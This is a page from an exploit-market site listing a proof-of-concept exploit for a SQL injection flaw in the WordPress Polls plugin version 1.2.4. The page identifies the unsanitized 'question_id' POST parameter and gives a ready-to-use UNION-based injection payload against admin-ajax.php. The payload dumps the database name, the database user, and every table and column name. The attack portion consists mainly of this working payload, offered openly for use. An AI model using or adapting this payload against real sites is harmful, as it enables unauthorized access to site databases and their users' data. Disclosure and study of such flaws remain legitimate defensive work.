[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WordPress Polls 1.2.4 SQL Injection Vulnerability

Author
Manish Tanwar
Risk
[
Security Risk High
]
0day-ID
0day-ID-28845
Category
web applications
Date add
23-10-2017
Platform
php
##################################################################################################
#Exploit Title :WordPress Polls plugin(1.2.4) SQL Injection vulnerability 
#Author        : Manish Kishan Tanwar AKA error1046 (https://twitter.com/IndiShell1046)
#Date          : 22/10/2017
#Vulnerable version: 1.2.4
#Download Link  : https://downloads.wordpress.org/plugin/polls-widget.1.2.4.zip
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
#Tested At  : Indishell Lab
##################################################################################################
  
////////////////////////
/// Overview:
////////////////////////
  
WordPress Polls plugin is a tool for creating polls and survey forms. You can use polls on widgets, posts and pages. Plugin code accept answer from user using survey form. During this process, HTTP POST parameter "question_id" goes to SQL query without data senitization which arise SQL Injection vulnerability. Vulnerable code is in "fornt_end/fornt_end.php" file.

  
////////////////
///  POC   ////
///////////////
 
SQL Injection payload to enumerate tables
----------------------------------------------
http://ica.lab/wp-admin/admin-ajax.php?action=pollinsertvalues
Post data
question_id=-3 union select  concat(0x3c62723e3c666f6e7420636f6c6f723d626c61636b2073697a653d343e3c623e2d2d3d3d5b5b20496e64695368656c6c204c61625d5d3d3d2d2d203c62723e4461746162617365204e616d653a202d ,database(),0x3c62723e,0x446174616261736520557365723a202d20,user(),0x3c62723e,group_concat(0x3c62723e,table_name,0x7e,column_name),0x3c62723e,0x3c62723e3c62723e3c62723e),2 from information_schema.columns where table_schema=database()--&poll_answer_securety=0c7d4ce561&date_answers[0]=5
 
  
SQLI Screenshot 
http://oi67.tinypic.com/2qntt2d.jpg
  
  
                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,cyber gladiator,Cyber Ace,Golden boy INDIA,d3, rafay baloch, nag256
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################

#  0day.today [2024-09-19]  #